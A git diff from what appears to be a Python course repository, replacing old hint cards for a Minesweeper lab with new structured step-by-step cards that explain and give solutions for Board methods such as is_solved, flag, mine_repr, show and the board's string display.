index 269d9b77..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/412.md
+++ /dev/null
@@ -1,10 +0,0 @@
-## `place_mine` Code
-
-### Step 1: `place_mine` Code
-
-```python
-def place_mine(self, row_id, col_id):
- self[row_id][col_id].place_mine()
-```
-
-The cell can be found with `self[row_id][col_id]`. Because we now have the `Cell` object, we can run the `Cell` class's function `place_mine()` directly.
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/42.md b/Module3_Labs/Lab3_Minesweeper/Cards/42.md
deleted file mode 100644
index e3b9f380..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/42.md
+++ /dev/null
@@ -1,26 +0,0 @@
-## `get_neighbors` Explained
-
-### Step 1: What are the surrounding cells?
-
-We want to find all 8 of the surrounding cells given a cell's row and column. We can define a tuple or list called `SURROUNDING` that stores the 8 sets of coordinates which define the relationship between the neighbors and a cell.
-
-----
-
-Picture: a person in the center of 9 tiles, with dots on the surrounding 8 tiles
-
-### Step 2: A SURROUNDING list?
-
-For example, the cell directly to the north is the cell in the same column but the previous row (-1), therefore the coordinates for the north direction are (-1, 0).
-
----
-
-Picture: a person in the center of 9 tiles, with dots on the surrounding 8 tiles
-
-### Step 3: Using `SURROUNDING`
-
-For each set of coordinates in `SURROUNDING`, add them to the given row and column to generate a tuple or list of coordinates. Return that list to return the surrounding coordinates.
-
----
-
-Picture: a person in the center of 9 tiles, with dots on the surrounding 8 tiles
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/421.md b/Module3_Labs/Lab3_Minesweeper/Cards/421.md
deleted file mode 100644
index 76cd9515..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/421.md
+++ /dev/null
@@ -1,11 +0,0 @@
-## `SURROUNDING` Given
-
-### Step 1:`SURROUNDING` Given
-
-```python
-SURROUNDING = ((-1, -1), (-1, 0), (-1, 1),
- (0, -1), (0, 1),
- (1, -1), (1, 0), (1, 1))
-```
-
-These tuples represent the surrounding cells in all 8 directions.
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/422.md b/Module3_Labs/Lab3_Minesweeper/Cards/422.md
deleted file mode 100644
index 251fb037..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/422.md
+++ /dev/null
@@ -1,18 +0,0 @@
-## Using `SURROUNDING` in Code
-
-### Step 1: Expression for `SURROUNDING`
-
-This expression will return a tuple of tuples that represent the 8 surrounding coordinates given `SURROUNDING`.
-
-```python
-((row_id + surr_row, col_id + surr_col) for (surr_row, surr_col) in SURROUNDING)
-```
-
-### Step 2: Entire code for `get_neighbors`
-
-```python
-def get_neighbours(self, row_id, col_id):
- SURROUNDING = ((-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1))
- return ((row_id + surr_row, col_id + surr_col) for (surr_row, surr_col) in SURROUNDING)
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/43.md b/Module3_Labs/Lab3_Minesweeper/Cards/43.md
deleted file mode 100644
index 97a03459..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/43.md
+++ /dev/null
@@ -1,24 +0,0 @@
-## `remaining_mines` Explained
-
-### Step 1: Finding the cell given `self`
-
-Remember `self` represents the tuple of cells themselves in a 2D array. Therefore you can iterate through each row using `for row in self:` directly.
-
----
-
-picture: person pointing at himself/herself
-
-### Step 2: Using the Cell
-
-After finding the `row` and then iterating through the row to find each cell, you can check if a cell is a mine or if a cell is flagged using `cell.is_mine` and `cell.is_flagged`. What should you do if a cell is a mine versus if a cell is flagged?
-
----
-
-picture: minesweeper flag and mine from before, just side by side
-
-### Step 3: Return remaining mines
-
-Make sure you return the number of remaining mines (# of mines - # of flags used) when done.
-
-
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/431.md b/Module3_Labs/Lab3_Minesweeper/Cards/431.md
deleted file mode 100644
index 1831be88..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/431.md
+++ /dev/null
@@ -1,55 +0,0 @@
-## `remaining_mines` Code
-
-### Step 1: Iterating through Individual Cells
-
-We first iterate through all the cells so that we can act on each `cell`. `remaining` will be returned at the end.
-
-```python
-remaining = 0
-for row in self:
- for cell in row:
-```
-
----
-
-Picture: a wheel like one of these
-
-
-
-### Step 2: Incrementing and Decrementing
-
-If the cell is a mine then we want to increase the number of mines by 1. However if it is currently flagged then the user has determined it is a mine, so we should decrease our count by 1.
-
-```python
- if cell.is_mine:
- remaining += 1
- if cell.is_flagged:
- remaining -= 1
- return remaining
-```
-
----
-
-Picture: mine and flag side by side
-
-### Step 3: The Entire Definition
-
-Here is the entire `remaining_mines` function:
-
-```python
-@property
-def remaining_mines(self):
- remaining = 0
- for row in self:
- for cell in row:
- if cell.is_mine:
- remaining += 1
- if cell.is_flagged:
- remaining -= 1
- return remaining
-```
-
----
-
-picture: finished line clipart > 
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/44.md b/Module3_Labs/Lab3_Minesweeper/Cards/44.md
deleted file mode 100644
index 92066899..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/44.md
+++ /dev/null
@@ -1,19 +0,0 @@
-## `count_surrounding` Explained
-
-### Step 1: Helper functions
-
-Remember that `count_surrounding` should use `get_neighbors` AND `is_in_range`! Ideally you should have those defined already.
-
----
-
-picture: person helping another up > 
-
-### Step 2: Purpose of `count_surrounding`
-
-Remember that `count_surrounding` returns the number of neighbors of a cell that have a mine. Calling `get_neighbors` will let you obtain a list of neighbors. You'll have to check whether they are valid neighbors with `is_in_range` and if the neighbor is valid, how many of them are mines.
-
----
-
-picture: someone with a metal detector
-
-
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/441.md b/Module3_Labs/Lab3_Minesweeper/Cards/441.md
deleted file mode 100644
index 714867e8..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/441.md
+++ /dev/null
@@ -1,50 +0,0 @@
-## `count_surrounding` Code
-
-### Step 1: Iteration
-
-We can iterate directly on `self.get_neighbors`, there is no need to get the actual `Cell` object pertaining to the given `row_id` and `col_id`.
-
-```python
-sum = 0
-for (surr_row, surr_col) in self.get_neighbors(row_id, col_id):
-```
-
----
-
-Picture: a wheel like one of these
-
-
-
-### Step 2: Check if valid neighbors are mines
-
-```python
- if (self.is_in_range(surr_row, surr_col) and self[surr_row][surr_col].is_mine):
- sum += 1
-return sum
-```
-
-We call `is_in_range` to check each neighbor's validity and if the cell is a mine.
-
-### Step 3: Solution
-
-Below is the solution for the `count_surrounding` method:
-
-```python
-def count_surrounding(self, row_id, col_id):
- sum = 0
- for (surr_row, surr_col) in self.get_neighbors(row_id, col_id):
- if (self.is_in_range(surr_row, surr_col) and self[surr_row][surr_col].is_mine):
- sum += 1
- return sum
-
-```
-
-### Step 4: More Compact Solution
-
-An alternative, more compact version (that is slightly harder to read and understand) can be found here for your reference:
-
-```python
-def count_surrounding(self, row_id, col_id):
- return sum(1 for (surr_row, surr_col) in self.get_neighbors(row_id, col_id) if (self.is_in_range(surr_row, surr_col) and self[surr_row][surr_col].is_mine))
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-1-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-1-1.md
new file mode 100644
index 00000000..a81a15e9
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-1-1.md
@@ -0,0 +1,99 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-1-1 Step 1
+
+### name
+```
+Set-Up
+```
+### md_content
+```
+We need to designate `is_solved(self)` with a `@property` decorator:
+```
+### code_snippet
+```python
+@property
+def is_solved(self):
+ solved = True
+```
+
+## 5-1-1 Step 2
+### name
+```
+Iteration
+```
+### md_content
+```
+We set up iteration through each cell:
+```
+
+### code_snippet
+```python
+ for row in self:
+ for cell in row:
+```
+
+## 5-1-1 Step 3
+### name
+```
+Handling Visibility and Mines
+```
+### md_content
+```
+If there exists one cell that is not visible and is not a mine, then the game has not been solved.
+```
+
+### code_snippet
+```python
+ if (cell.is_visible or cell.is_mine):
+ continue
+ else:
+ solved = False
+ return solved
+```
+## 5-1-1 Step 4
+### name
+```
+Solution
+```
+### md_content
+```
+Here is the full solution:
+```
+### code_snippet
+
+```python
+@property
+def is_solved(self):
+ solved = True
+ for row in self:
+ for cell in row:
+ if (cell.is_visible or cell.is_mine):
+ continue
+ else:
+ solved = False
+ return solved
+```
+## 5-1-1 Step 5
+### name
+```
+Compact Solution
+```
+### md_content
+```
+Here is an alterative, more compact solution using the `all` keyword:
+```
+
+### code_snippet
+
+```python
+@property
+def is_solved(self):
+ return all((cell.is_visible or cell.is_mine) for row in self for cell in row)
+```
+
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-1.md
new file mode 100644
index 00000000..04ea3d93
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-1.md
@@ -0,0 +1,27 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-1 Step 1
+
+### name
+```
+Win Conditions
+```
+
+### md_content
+```
+When has the player won a game of Minesweeper? When the player has *made all non-mine cells visible* and all the *mine cells are not visible*.
+```
+
+
+## 5-1 Step 2
+### name
+```
+What does this mean?
+```
+### md_content
+```
+Therefore, in our code, whenever every cell is visible or a mine, then that means our game is "solved" and we should return `True` in that scenario. Don't forget the `@property` decorator!
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-2-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-2-1.md
new file mode 100644
index 00000000..610cd451
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-2-1.md
@@ -0,0 +1,60 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-2-1 Step 1
+
+### name
+```
+Isolating the cell
+```
+### md_content
+```
+We first can obtain the `Cell` object of interest with the following line:
+```
+
+### code_snippet
+```python
+cell = self[row_id][col_id]
+```
+
+## 5-2-1 Step 2
+### name
+```
+Handle Visibility
+```
+### md_content
+```
+If the cell is not visible and we have more miens to flag, we flag it by calling the `Cell` class's `flag` setter. Otherwise we print a message to the console:
+```
+### code_snippet
+```python
+ if not cell.is_visible and self.remaining_mines > 0:
+ cell.flag()
+ elif self.remaining_mines == 0:
+ if cell.is_visible:
+ print("You have already flagged all your mines.")
+ else:
+ cell.flag()
+ else:
+ print("Cannot add flag, cell already visible.")
+```
+## 5-2-1 Step 3
+### name
+```
+Code Solution
+```
+### md_content
+```
+Here is the entire `flag()` code:
+```
+### code_snippet
+```python
+def flag(self, row_id, col_id):
+ cell = self[row_id][col_id]
+ if not cell.is_visible:
+ cell.flag()
+ else:
+ print("Cannot add flag, cell already visible.")
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-2.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-2.md
new file mode 100644
index 00000000..cd9a5458
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-2.md
@@ -0,0 +1,33 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 5-2 Step 1
+### name
+```
+Obtain the cell with given row and col
+```
+### md_content
+```
+Because we are changing the `is_flagged` property of one cell, we need to obtain that one `Cell` object to act on. How could we do that?
+```
+## 5-2 Step 2
+### name
+```
+What cells can we flag?
+```
+### md_content
+```
+Bear in mind that we can only flag **non-visible cells**. If the player is trying to flag a visible cell, there should be an error printed to the console.
+```
+## 5-2 Step 3
+### name
+```
+How to actually flag the cell?
+```
+### md_content
+```
+We have already implemented this functionality in the `Cell` class...
+```
+### image
+
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-3-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-3-1.md
new file mode 100644
index 00000000..b3f83f81
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-3-1.md
@@ -0,0 +1,90 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-3-1 Step 1
+### name
+```
+Isolating the cell
+```
+### md_content
+```
+We first can obtain the `Cell` object of interest with the following line:
+```
+### code_snippet
+```python
+cell = self[row_id][col_id]
+```
+
+## 5-3-1 Step 2
+### name
+```
+Visible Cases
+```
+### md_content
+```
+We have two cases for when a cell is visible: mine or non-mine. If a cell is a mine we return "M".
+```
+### code_snippet
+```python
+if cell.is_visible:
+ if cell.is_mine:
+ return "M"
+```
+
+## 5-3-1 Step 3
+### name
+```
+Visible Cases cont.
+```
+### md_content
+```
+If a cell is visible and not a mine, we find the number of neighbors with `self.count_surrounding`. Because `count_surrounding` returns a number, we need to convert it to a string. For the zero case, we return an empty space.
+```
+### code_snippet
+```python
+ else:
+ surr = self.count_surrounding(row_id, col_id)
+ return str(surr) if surr else " "
+```
+## 5-3-1 Step 4
+### name
+```
+Other Cases
+```
+### md_content
+```
+Continuing the conditional, if the cell is flagged we return "F". Now we have handled all the visible and flagged tiles, so every other tile must be not visible, which returns "X".
+```
+### code_snippet
+```python
+elif cell.is_flagged:
+ return "F"
+else:
+ return "X"
+```
+## 5-3-1 Step 5
+### name
+```
+Solution
+```
+### md_content
+```
+Here is the entire `mine_repr()` solution:
+```
+### code_snippet
+```python
+def mine_repr(self, row_id, col_id):
+ cell = self[row_id][col_id]
+ if cell.is_visible:
+ if cell.is_mine:
+ return "M"
+ else:
+ surr = self.count_surrounding(row_id, col_id)
+ return str(surr) if surr else " "
+ elif cell.is_flagged:
+ return "F"
+ else:
+ return "X"
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-3.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-3.md
new file mode 100644
index 00000000..df14443c
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-3.md
@@ -0,0 +1,49 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 5-3 Step 1
+### name
+```
+The possibilities to account for
+```
+### md_content
+```
+There are four possibilities:
+
+* Visible but a mine -> "M"
+* Flagged -> "F"
+* Not visible -> "X"
+* Visible but not a mine -> number indicating amount of adjacent mines
+```
+## 5-3 Step 2
+### name
+```
+Handling those possibilities
+```
+### md_content
+```
+To handle each of those possibilties, a simple if conditional with the corresponding `Cell` attributes should suffice to handle your "M", "F" and "X" cases.
+```
+## 5-3 Step 3
+### name
+```
+Handling visible non-mine cells
+```
+### md_content
+```
+
+If a cell is visible and not a mine, we should use our helper `count_surrounding` to calculate the number of surrounding mines. Make sure you handle the case when there are no surrounding mines!
+```
+### image
+
+
+## 5-3 Step 4
+### name
+```
+Return values
+```
+### md_content
+```
+Lastly, make sure you return only one character or number.
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-4-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-4-1.md
new file mode 100644
index 00000000..73269778
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-4-1.md
@@ -0,0 +1,67 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-4-1 Step 1
+
+### name
+```
+Isolating the cell
+```
+### md_content
+```
+We first can obtain the `Cell` object of interest with the following line:
+```
+### code_snippet
+```python
+cell = self[row_id][col_id]
+```
+## 5-4-1 Step 2
+### name
+```
+Meeting Conditions to show the cell
+```
+### md_content
+```
+If the cell is not visible and not flagged, then we can show the cell by running the `show()` setter from `Cell`:
+```
+### code_snippet
+```python
+if not (cell.is_visible or cell.is_flagged):
+ cell.show()
+```
+
+## 5-4-1 Step 3
+### name
+```
+Setting `is_playing`
+```
+### md_content
+```
+The game is over when the cell is a mine, so we set `is_playing` to `False`. The case for handling tiles without surrounding mines is handled in another hint.
+```
+### code_snippet
+```python
+ if cell.is_mine:
+ self.is_playing = False
+```
+
+## 5-4-1 Step 4
+### name
+```
+Solution (w/o no adjacent mine handling)
+```
+### code_snippet
+```python
+def show(self, row_id, col_id):
+ cell = self[row_id][col_id]
+ if not (cell.is_visible or cell.is_flagged):
+ cell.show()
+
+ if cell.is_mine:
+ self.is_playing = False
+ elif # insert condition here
+ # insert rest of code here
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-4.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-4.md
new file mode 100644
index 00000000..e3f5ee6e
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-4.md
@@ -0,0 +1,31 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 5-4 Step 1
+### name
+```
+show(): Obtaining the specific cell at (row_id, col_id)
+```
+### md_content
+```
+First, we have to locate the cell at `(row_id, col_id)`. How do we do that?
+```
+## 5-4 Step 2
+### name
+```
+Only showing non-visible and non-flagged cells
+```
+### md_content
+```
+If a cell is visible or flagged, then we shouldn't show it. If it is not visible and not flagged then we should show it using the `Cell` class's `show()` function.
+```
+## 5-4 Step 3
+### name
+```
+Updating `is_playing`
+```
+### md_content
+```
+After the previous check, if the player shows a mine, then the game is over, so `self.is_playing` must be set to `False` in that case.
+```
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-5-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-5-1.md
new file mode 100644
index 00000000..8734ab45
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-5-1.md
@@ -0,0 +1,64 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 5-5-1 Step 1
+
+### name
+```
+How to check for no adjacent mines
+```
+### md_content
+```
+We use the `count_surrounding` helper to check if there are no adjacent mines:
+```
+### code_snippet
+```python
+# note that this continues from the previous code
+elif self.count_surrounding(row_id, col_id) == 0:
+```
+## 5-5-1 Step 2
+### name
+```
+Showing Neighbors - Iteration
+```
+### md_content
+```
+We can iterate through all possible neighbors using `self.get_neighbors`:
+```
+### code_snippet
+```python
+ for (surr_row, surr_col) in self.get_neighbors(row_id, col_id):
+```
+## 5-5-1 Step 3
+### name
+```
+Checking if a neighbor is in range before showing
+```
+### md_content
+```
+For each neighbor, we use the `is_in_range` helper to check if each neighbor is in range:
+```
+### code_snippet
+```python
+ if self.is_in_range(surr_row, surr_col):
+ self.show(surr_row, surr_col)
+```
+## 5-5-1 Step 4
+### name
+```
+Solution
+```
+### md_content
+```
+Here is the entire solution, excluding code covered in other hints for the other visibility cases:
+```
+### code_snippet
+```python
+ # code continues...
+ elif self.count_surrounding(row_id, col_id) == 0:
+ for (surr_row, surr_col) in self.get_neighbours(row_id, col_id):
+ if self.is_in_range(surr_row, surr_col):
+ self.show(surr_row, surr_col)
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-5.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-5.md
new file mode 100644
index 00000000..f4a90ba4
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-5.md
@@ -0,0 +1,46 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-5 Step 1
+
+### name
+```
+Set-up
+```
+
+### md_content
+```
+How do we check if there are zero surrounding mines? We can use our helper `count_surrounding` to check if there are zero adjacent mines.
+```
+
+## 5-5 Step 2
+### name
+```
+What to do
+```
+### md_content
+```
+If there are no surrounding mines then we want to show all of this tile's neighbors. Use `get_neighbors` to obtain all the neighbors of this tile.
+```
+
+## 5-5 Step 3
+### name
+```
+Out of bounds Handling
+```
+
+### md_content
+```
+Depending on how you implemented `get_neighbors` previously, you may have to run `is_in_range` on each neighbor to ensure all your neighbors actually exist within the grid.
+```
+## 5-5 Step 4
+### name
+```
+Handling Each Valid Neighbor
+```
+### md_content
+```
+Now for each valid neighbor, we want to show it on the board, so we just recursively run the `show()` function on each neighbor. Given that we want to show the cell with the surrounding coordinates in the board, which `show()` should you use: `Cell` or `Board`?
+```
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-6-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-6-1.md
new file mode 100644
index 00000000..48003e9f
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-6-1.md
@@ -0,0 +1,45 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 5-6-1 Step 1
+
+### name
+```
+Number of Remaining Mines
+```
+### md_content
+```
+We can use `self.remaining_mines` to compute the number of remaining mines on the board. Remember `remaining_mines` has a `@property` decorator so we can use it as a property of our `Board` object! Remember we are returning one string so we add a new line at the end for the sake of clean output.
+
+```
+### code_snippet
+```python
+"Mines: " + str(self.remaining_mines) + "\n " +
+```
+## 5-6-1 Step 2
+### name
+```
+Printing out Columns
+```
+### md_content
+```
+`len(self[0])` will give us the number of columns. We simply iterate through the list of 0, 1, ..., `len(self[0])` and print the string version of each number to print out the columns. Make sure to do this at the end as well.
+```
+### code_snippet
+```python
+"".join([str(i) for i in range(len(self[0]))])
+```
+## 5-6-1 Step 3
+### name
+```
+Code
+```
+### md_content
+```
+You should append row headers and row content to this string.
+```
+### code_snippet
+```python
+board_string = ("Mines: " + str(self.remaining_mines) + "\n " + "".join([str(i) for i in range(len(self[0]))]))
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-6-2.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-6-2.md
new file mode 100644
index 00000000..fa951636
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-6-2.md
@@ -0,0 +1,63 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-6-2 Step 1
+
+### name
+
+```
+Row Iteration
+```
+### md_content
+```
+To output each row, we will have to iterate through `self`. However we also want to print the associated `row_id` with each row, and we can do that by using `enumerate(self)` to get a tuple of a count associated with the row.
+```
+### code_snippet
+```python
+for (row_id, row) in enumerate(self):
+```
+## 5-6-2 Step 2
+### name
+```
+Printing each `row` number
+```
+### md_content
+```
+We'll first print a newline and then the `row_id`, properly spaced. Make sure you are doing this at the end of each row as well.
+```
+### code_snippet
+```python
+"\n" + str(row_id) + " "
+```
+## 5-6-2 Step 3
+### name
+```
+Printing each row's contents
+```
+### md_content
+```
+We want to iterate through all the columns to get each cell object individually. After finding an individual `Cell`, we can use `mine_repr` to print each cell. Then we can use the built-in `join` function to put all of the characters together in one string for each row. We use `enumerate(row)` to just get a `col_id`, we won't actually do anything with the contents of the row.
+```
+### code_snippet
+```python
+ "".join(self.mine_repr(row_id, col_id)
+ for (col_id, _) in enumerate(row))
+```
+## 5-6-2 Step 4
+### name
+```
+Code
+```
+### md_content
+```
+You should prepend remaining mines and column headers to this string.
+```
+### code_snippet
+```python
+for (row_id, row) in enumerate(self):
+ board_string += ("\n" + str(row_id) + " " +
+ "".join(self.mine_repr(row_id, col_id)
+ for (col_id, _) in enumerate(row)) + " " + str(row_id))
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5-6.md b/Module3_Labs/Lab3_Minesweeper/Cards/5-6.md
new file mode 100644
index 00000000..836b18e4
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5-6.md
@@ -0,0 +1,81 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 5-6 Step 1
+
+### name
+```
+Displaying Remaining Mines
+```
+
+### md_content
+
+```
+There is an attribute we have already defined that allows us to easily compute the number of mines left on the board.
+```
+
+## 5-6 Step 2
+### name
+```
+Printing out the Columns
+```
+### md_content
+```
+Next, in the first row, we should print each column number, those will serve as our column headers and let the player more easily tell what column each cell is in.
+
+Make sure the column number is printed at the beginning and the end of each column for better visibility.
+```
+
+## 5-6 Step 3
+### name
+```
+Printing out the Rows
+```
+### md_content
+```
+For each subsequent row, the string representation of each cell should be printed.
+
+* What helper function have we already defined that we can call here to find the value that should be printed for each cell depending on their state?
+
+Make sure the row number is printed at the beginning and the end of each row for better visibility.
+```
+## 5-6 Step 4
+### name
+```
+Last Notices
+```
+### md_content
+```
+* Make sure you space your numbers and tiles so that the user can easily see for each cell which row and column it belongs to.
+* `__str__` should be returning only **one string**.
+```
+
+## 5-6 Step 5
+### name
+```
+How the board should look like in console
+```
+
+### md_content
+```
+Here is an example of how you should represent your board:
+```
+
+### code_snippet
+```
+Mines: 9
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+```
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/5.md b/Module3_Labs/Lab3_Minesweeper/Cards/5.md
index bf632841..98c58ed3 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/5.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/5.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-
Now that we have completed some helper functions, the `Board` class should contain the following **methods** that will help implement the rules of our Minesweeper game:
- A method `is_solved` that checks if the user has won the game.
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/51.md b/Module3_Labs/Lab3_Minesweeper/Cards/51.md
deleted file mode 100644
index 44cd5d44..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/51.md
+++ /dev/null
@@ -1,17 +0,0 @@
-## `is_solved`: How to determine winning
-
-### Step 1: Win Conditions
-
-When has the player won a game of Minesweeper? When the player has *made all non-mine cells visible* and all the *mine cells are not visible*.
-
----
-
-picture: a Minesweeper board with all cells visible except for mine cells - all of which have a shadow of a mine in it.
-
-### Step 2: What does this mean?
-
-Therefore, in our code, whenever every cell is visible or a mine, then that means our game is "solved" and we should return `True` in that scenario. Don't forget the `@property` decorator!
-
----
-
-picture: hmm emoji in clipart style
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/511.md b/Module3_Labs/Lab3_Minesweeper/Cards/511.md
deleted file mode 100644
index ef9ccb6f..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/511.md
+++ /dev/null
@@ -1,61 +0,0 @@
-## `is_solved` Code
-
-### Step 1: Set-Up
-
-We need to designate `is_solved(self)` with a `@property` decorator:
-
-```python
-@property
-def is_solved(self):
- solved = True
-```
-
-### Step 2: Iteration
-
-We set up iteration through each cell:
-
-```python
- for row in self:
- for cell in row:
-```
-
-### Step 3: Handling Visibility and Mines
-
-If there exists one cell that is not visible and is not a mine, then the game has not been solved.
-
-```python
- if (cell.is_visible or cell.is_mine):
- continue
- else:
- solved = False
- return solved
-```
-### Step 4: Solution
-
-Here is the full solution:
-
-```python
-@property
-def is_solved(self):
- solved = True
- for row in self:
- for cell in row:
- if (cell.is_visible or cell.is_mine):
- continue
- else:
- solved = False
- return solved
-```
-
-### Step 5: Compact Solution
-
-Here is an alterative, more compact solution using the `all` keyword:
-
-```python
-@property
-def is_solved(self):
- return all((cell.is_visible or cell.is_mine) for row in self for cell in row)
-```
-
-
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/52.md b/Module3_Labs/Lab3_Minesweeper/Cards/52.md
deleted file mode 100644
index 010222f4..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/52.md
+++ /dev/null
@@ -1,27 +0,0 @@
-## Flagging cells using `flag()`
-
-### Step 1: Obtain the cell with given row and col
-
-Because we are changing the `is_flagged` property of one cell, we need to obtain that one `Cell` object to act on. How could we do that?
-
----
-
-Picture: Minesweeper flag
-
-### Step 2: What cells can we flag?
-
-Bear in mind that we can only flag **non-visible cells**. If the player is trying to flag a visible cell, there should be an error printed to the console.
-
----
-
-Picture: Minesweeper flag
-
-### Step 3: How to actually flag the cell?
-
-We have already implemented this functionality in the `Cell` class...
-
----
-
-Picture idea: (SAME AS 3.md!!)
-
- 
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/521.md b/Module3_Labs/Lab3_Minesweeper/Cards/521.md
deleted file mode 100644
index 9cb2aaf4..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/521.md
+++ /dev/null
@@ -1,39 +0,0 @@
-## flag() Code
-
-### Step 1: Isolating the cell
-
-We first can obtain the `Cell` object of interest with the following line:
-
-```python
-cell = self[row_id][col_id]
-```
-
-### Step 2: Handle Visibility
-
-If the cell is not visible and we have more miens to flag, we flag it by calling the `Cell` class's `flag` setter. Otherwise we print a message to the console:
-
-```python
- if not cell.is_visible and self.remaining_mines > 0:
- cell.flag()
- elif self.remaining_mines == 0:
- if cell.is_visible:
- print("You have already flagged all your mines.")
- else:
- cell.flag()
- else:
- print("Cannot add flag, cell already visible.")
-```
-
-### Step 3: Code Solution
-
-Here is the entire `flag()` code:
-
-```python
-def flag(self, row_id, col_id):
- cell = self[row_id][col_id]
- if not cell.is_visible:
- cell.flag()
- else:
- print("Cannot add flag, cell already visible.")
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/53.md b/Module3_Labs/Lab3_Minesweeper/Cards/53.md
deleted file mode 100644
index f41d6aa8..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/53.md
+++ /dev/null
@@ -1,40 +0,0 @@
-## `mine_repr()`: What should be printed for each tile?
-
-### Step 1: The possibilities to account for
-
-There are four possibilities:
-
-* Visible but a mine -> "M"
-* Flagged -> "F"
-* Not visible -> "X"
-* Visible but not a mine -> number indicating amount of adjacent mines
-
----
-
-Picture idea: fork in the road
-
